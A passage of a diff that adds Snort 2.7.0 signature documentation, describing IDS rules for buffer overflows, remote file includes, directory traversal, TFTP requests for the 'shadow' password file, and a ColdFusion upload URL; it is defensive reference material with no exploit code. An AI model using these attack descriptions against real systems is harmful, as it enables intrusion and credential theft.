+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+	AHG EZshopper v3.0 and v2.0 for UNIX
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+NSFocus:
+http://www.nsfocus.com/english/homepage/research/0009.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/2844.txt
+++ snort-2.7.0/doc/signatures/2844.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2844
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure refresh_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2029.txt
+++ snort-2.7.0/doc/signatures/2029.txt
@@ -0,0 +1,88 @@
+Rule:
+
+--
+Sid:
+2029
+
+--
+Summary:
+A user can change their password for Network Information Services (NIS) 
+using the ypasswd command. A vulnerability exists in ypasswd where
+an overly long username can cause a buffer overflow resulting in 
+unauthorized access to the remote machine.
+
+--
+Impact:
+Unauthorized super user access to the vulnerable host resulting in a 
+compromise of all data on the host and any network resources that host 
+is connected to. Full control of the victim is gained.
+
+--
+Detailed Information:
+The rpc.ypasswd service processes all password changes from 
+ypasswd. Supplying a specially crafted request to a NIS server 
+running this daemon in the form of a long username, the attacker can 
+cause a buffer overflow in that process.
+
+Since all master servers handling NIS resources run this daemon, the 
+resulting root access affects all NIS resources available on the LAN.
+
+An exploit for this vulnerability exists, hosts that have been 
+compromised using this vulnerability typically display two instances of 
+inetd running at the same time. The result of the exploit is a root 
+shell attached to port 77 of the host.
+
+--
+Affected Systems:
+	Caldera OpenServer 5.0.5
+	Caldera OpenServer 5.0.6
+	Solaris 2.6
+	Solaris 7
+	Solaris 8
+
+--
+Attack Scenarios:
+The attacker needs to craft a specially formulated request to the 
+rpc.ypasswd service containing a long username. An exploit for this 
+vulnerability exists.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply pacthes for the affected systems as soon as possible.
+
+Disable the rpc.ypasswd daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CIAC:
+http://www.ciac.org/ciac/bulletins/m-008.shtml
+
+Security Focus Mailing List Archive:
+http://www.securityfocus.com/archive/1/187086
+
+CERT:
+http://www.kb.cert.org/vuls/id/327281
+
+--
--- snort-2.7.0.orig/doc/signatures/2960.txt
+++ snort-2.7.0/doc/signatures/2960.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2960
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/2824.txt
+++ snort-2.7.0/doc/signatures/2824.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2824
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure set_local_flavor
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1911.txt
+++ snort-2.7.0/doc/signatures/1911.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1911
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) sadmind.
+
+--
+Impact:
+Remote root access. This attack may permit execution of arbitrary
+commands with the privileges of root.
+
+--
+Detailed Information:
+The sadmind RPC service is used by Solaris Solstice AdminSuite
+applications to perform remote distributed system administration tasks
+such as adding new users. A buffer overflow associated with the
+NETMGT_PROC_SERVICE request of sadmind exists because of improper bounds
+checking. This may permit execution of arbitrary commands with the
+privileges of root.
+
+--
+Affected Systems:
+	Sun Solaris 2.5, 2.5.1, 2.6, 7.0
+
+--
+Attack Scenarios:
+Exploit code can be used to attack a vulnerable sadmind to obtain root
+access to the remote host.
+
+--
+Ease of Attack:
+Simple. Exploit scripts are freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2219.txt
+++ snort-2.7.0/doc/signatures/2219.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2219
+
+--
+Summary:
+This event is generated when an attempt is made to access setpasswd.cgi on an internal web server. This may indicate an attempt to exploit an authentication vulnerability in Trend Micro Interscan VirusWall 3.0.1 and 3.6.x.
+
+--
+Impact:
+Information disclosure, VirusWall administrative access.
+
+--
+Detailed Information:
+Trend Micro Interscan VirusWall contains an authentication vulnerability in versions 3.6.x and lower. When an administrative user changes their VirusWall account password using setpasswd.cgi, the username and password are transmitted in clear text. If an attacker is monitoring network traffic, he/she can obtain the username and password for VirusWall administration.
+
+--
+Affected Systems:
+Systems running Trend Micro Interscan VirusWall 3.0.1 or 3.6.x.
+
+--
+Attack Scenarios:
+An attacker is monitoring network traffic and intercepts the HTTP message that contains the VirusWall administrator's username and password. The attacker can then use this information to log into VirusWall and make changes to system configuration that may leave the network more open to compromise.
+ 
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user accesses setpasswd.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a newer version of Trend Micro VirusWall. Otherwise, do not use web-based configuration tools.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/2212
+
+--
--- snort-2.7.0.orig/doc/signatures/1442.txt
+++ snort-2.7.0/doc/signatures/1442.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+1442
+
+--
+Summary:
+This event is generated when a TFTP GET request is made for the "shadow" file.  This could be an indication that a remote attacker has compromised a system on the network and is transfering sensitive files back to the attacking system.
+
+--
+Impact:
+The "shadow" file normally stores encrypted password hashes and users names for Unix based systems.  If this file is being transfered over the network using TFTP it is normally an indication of a system compromise.
+
+In some situations this rule may only indicate a generic TFTP scan attempt, as the attacker may be scanning a large range of IP addresses for TFTP improperly configured TFTP servers.
+
+--
+Detailed Information:
+This rule searches for the filename "shadow" in TFTP GET requests.  The "shadow" file is used by Unix based systems to store encrypted password hases and users names for the system.
+
+--
+Attack Scenarios:
+After a successful system compromise an attacker may setup a tftp service to transfer files back to the attacking system.  Under this scenario these source address will point to the attack network and the destination address will be an address defined in the HOME_NET.
+
+Attackers may also scan large subnets for TFTP servers and make numerous generic GET request for common system files. 
+
+--
+Ease of Attack:
+Simple: Numerous tools and automated scripts exist for scanning large subnets for improperly configured TFTP servers.
+
+--
+False Positives:
+This rule was created to catch TFTP GET requests for "shadow", if this file name is being used during a legitimate TFTP session this rule will generate a false positive.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Depending on the situation blocking the attacker at the upstream router or firewall will eliminate the problem.  However, if the TFTP server is incorrectly configured and is actually serving the "shadow" file, it should be configured to only serve specific files from a safe directory.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski Matt.Watchinski@sourcefire.com
+
+--
+Additional References
+None
+
+--
--- snort-2.7.0.orig/doc/signatures/1611.txt
+++ snort-2.7.0/doc/signatures/1611.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1611
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000373.txt
+++ snort-2.7.0/doc/signatures/100000373.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000373
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_user_ban.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_user_ban.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2433.txt
+++ snort-2.7.0/doc/signatures/2433.txt
@@ -0,0 +1,79 @@
+Rule:
+
+--
+Sid:
+2433
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Possible unauthorized administrative access to the server or application.
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+MDaemon is mail server software for Microsoft Windows systems. It uses a
+CGI web interface to send email. The email form used to submit the
+message does not properly check user supplied input. This may result in
+an attacker being able to supply a "From" field larger than 249 bytes
+which may in turn cause an error condition to occur in the executable
+file handling the form input. This error may present the attacker with
+the opportunity to gain administrative access to the server and also
+execute code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running on a web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	Alt-N MDaemon 6.5.2
+	Alt-N MDaemon 6.7.5, 6.7.9
+	Alt-N MDaemon 6.8.0 through 6.8.5
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/446.txt
+++ snort-2.7.0/doc/signatures/446.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+446
+
+--
+Summary:
+This event is generated when an ICMP "SKIP" message is generated with a non-zero ICMP code.
+
+--
+Impact:
+Informational. This may indicate that the ICMP message has been crafted. 
+
+--
+Detailed Information:
+An ICMP "SKIP" message is issued when a SKIP request to provide keying material fails. The ICMP code value for this message should be 0.  If a non-zero code for the ICMP code is observed, it may be an indication that the packet was crafted with an invalid value.
+ 
+
+--
+Affected Systems:
+This traffic should have no adverse impact.
+
+--
+Attack Scenarios:
+An attacker may craft an ICMP "SKIP" message with an invalid ICMP code.  A single packet itself is not harmful, but the unusual ICMP code may indicate that this packet was abnormally generated.
+
+--
+Ease of Attack:
+Simple. There are many packages available to generate ICMP messages.
+
+--
+False Positives:
+Although it should be rare, it is possible to observe an ICMP "SKIP" message with an ICMP code greater than 0 if it is generated by software that does not conform to standards.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+None.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/820.txt
+++ snort-2.7.0/doc/signatures/820.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+820
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2376.txt
+++ snort-2.7.0/doc/signatures/2376.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2376
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint VPN-1.
+
+--
+Impact:
+Unauthorized administrative access to Checkpoint VPN-1 systems
+
+--
+Detailed Information:
+Checkpoint VPN-1, SecuRemote and SecureClient contain an error that
+affects the processing of large Certificate requests to the VPN service.
+By sending a large amount of data in the Certificate Request payload an
+attacker may cause a buffer overflow condition to occur, presenting an
+opportunity to execute code of their choosing with the privileges of the
+user running the service, usually root.
+
+--
+Affected Systems:
+	CheckPoint Software FW-1 1.4.1 Service packs prior to SP6
+	CheckPoint Software FW-1 Next Generation FP1, FP0
+	CheckPoint Software VPN-1 1.4.1 SP5a
+	CheckPoint Software VPN-1 Next Generation FP1, FP0
+
+--
+Attack Scenarios:
+An attacker could supply a large Certificate Request payload containing
+code to be executed on the system.
+
+--
+Ease of Attack:
+Proof of concept code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/905.txt
+++ snort-2.7.0/doc/signatures/905.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+905
+
+--
+Summary:
+This event is generated when an attempt is made to access an Example 
+application on a Coldfusion 4.x server. 
+
+This 'Web Publish Example Script' can be exploited to allow the attacker
+to upload arbitrary files to the server.
+
+--
+Impact:
+Serious: The vulnerability allows custom code to be uploaded to the 
+server.
+
+--
+Detailed Information:
+ColdFusion (Macromedia, formerly Allaire) web servers have several 
+default Example applications installed that have vulnerabilities.  The 
+'Web Publish Example script' application can be exploited to allow the 
+uploading of arbitrary files.
+
+See Macromedia Security Bulletin (MPSB01-08) for complete information.
+
+
+--
+Affected Systems:
+	ColdFusion versions 2.x, 3.x, 4.x for Windows
+	ColdFusion versions 4.x for Solaris, HP-UX
+	ColdFusion versions 4.5.x for Linux
+	Expression Evaluator Patch (ASB99-01)
+
+--
+Attack Scenarios:
+The web application allows file uploading via a URL like this:
+
+http://www.target.com/CFDOCS/exampleapps/publish/admin/application.cfm
+
+Once the file has been uploaded, it can be executed by crafting a 2nd 
+URL to the uploaded file.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If ColdFusion 4.x's example code is being used, This rule will generate 
+an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Delete all example code.  This is one of several significant 
+vulnerabilities that are exploitable if the example code is left on a 
+production server.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Darryl Davidson <ddavidson@talisman-intl.com>
+
+-- 
+Additional References:
+
+Macromedia Security Bulletin (MPSB01-08)
+http://www.macromedia.com/devnet/security/security_zone/mpsb01-08.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000331.txt
+++ snort-2.7.0/doc/signatures/100000331.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000331
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "ZixForum" application running on a webserver. Access to the file "settings.asp" using a remote file being passed as the "layid" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "layid" parameter in the "settings.asp" script used by the "ZixForum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ZixForum
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/466.txt
+++ snort-2.7.0/doc/signatures/466.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+466
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a host running the L3 "Retriever 1.5" security scanner.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a host running the L3 "Retriever 1.5" security scanner contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+http://www.whitehats.com/info/IDS311
+
+--
--- snort-2.7.0.orig/doc/signatures/795.txt
+++ snort-2.7.0/doc/signatures/795.txt
@@ -0,0 +1,62 @@
+
+Rule:  
+
+--
+Sid:
+795
+
+--
+Summary:
+This rule has been placed in deleted.rules. It has been superceded by
+sid 721.
+
+--
+Impact:
+Mail worms may spread rapidly because users execute them.
+
+--
+Detailed Information:
+Windows systems are often configured not to display file extensions.
+By adding a second extension, users get confused and think that an
+executable is a text - e.g. loveletter.txt.vbs gets displayed as
+loveletter.txt but is a visual basic script and not a plain text.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Famous worms (ILOVEYOU, KOURNIKOVA) are based on this method.
+
+--
+Ease of Attack:
+Very easy. One needs to attach a file and hope that it gets executed.
+
+--
+False Positives:
+None Known
+Could be an error on sender's side.
+
+--
+False Negatives:
+None Known
+-
+
+--
+Corrective Action:
+Use antivirus software. Configure mail clients securely, especially when
+using windows desktops. Educate your mail users. Deny all attachments at
+the gateway if you can.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by tobias.haecker@to.com
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+See websites of antivirus companies.
+
+--
--- snort-2.7.0.orig/doc/signatures/1382.txt
+++ snort-2.7.0/doc/signatures/1382.txt
@@ -0,0 +1,81 @@
+Rule:  
+
+--
+Sid:
+1382
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known root
+exploit for Ettercap Network Sniffer (Version <= 0.6.2)
+
+--
+Impact:
+Remote attacker is able to gain root shell on host running ettercap.
+
+--
+Detailed Information:
+A buffer overflow in the parsing of IRC traffic for 'nick' passwords 
+enables a remote attacker to execute code of their choice as root on 
+the compromised host.  This is as a result of an unchecked string 
+copy of the captured password in the packet into the buffer used to 
+store all retrieved passwords.  The same or very similar overlows exist 
+for other string matches within this section of code in this and previous 
+versions of ettercap. 
+
+The exploit released by GOBBLES listens on port 0x8000 and provides a
+shell for the attacker.  Since ettercap is generaly run as root in order
+to have access to a promiscuous network interface, the shell will have
+uid=0 (root).
+--
+Attack Scenarios:
+Ettercap is likely to be deployed in 'sensitive' parts of the network
+where a network administrator is analysing passing traffic.  A
+compromise of a host in such a position will not only reveal any
+passwords already captured by ettercap to the attacker, but gives the
+attacker ample opportunity to analyse passing network traffic for
+further useful information.  The host will quite likely be used as a base for
+other attacks.  Ettercap may also be installed on a compromised host for
+the purpose of monitoring or modifying traffic on the hosts network.
+
+--
+Ease of Attack:
+Simple - exploit code pubished by 'GOBBLES' on
+vuln-dev - original posting can be seen here : 
+http://online.securityfocus.com/archive/82/245128
+
+--
+False Positives:
+Unlikely as an 'IDENTIFY' message should not be more than 200 bytes in normal usage.
+
+--
+False Negatives:
+Although the rule is good match for the posted exploit - there are
+several other strings which would match in the vulnerable section of
+code.  A better match might be obtained by specifying 'IDENTIFY ' with
+the datagram size (dsize) greater than 200, although this may introduce more false positives. 
+
+--
+Corrective Action:
+Upgrade to ettercap 0.6.3 or greater
+
+--
+Contributors: 
+Snort documentation contributed by Mark Vevers	Initial Research
+Snort documentation contributed by Josh Gray	Edits
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Attrition:
+http://www.attrition.org/security/advisory/gobbles/GOBBLES-12.txt
+
+Security Focus archive:
+http://online.securityfocus.com/archive/82/245128
+
+-- 
+
+--
--- snort-2.7.0.orig/doc/signatures/2572.txt
+++ snort-2.7.0/doc/signatures/2572.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2572
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential 
+weakness on a host running a web application on Microsoft Internet 
+Information Server (IIS).
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential 
+weaknesses in a host running a web application on Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation
+on the host, this may be the prelude to an attack against that host 
+using that information.
+
+The attacker may also be trying to gain administrator access to the 
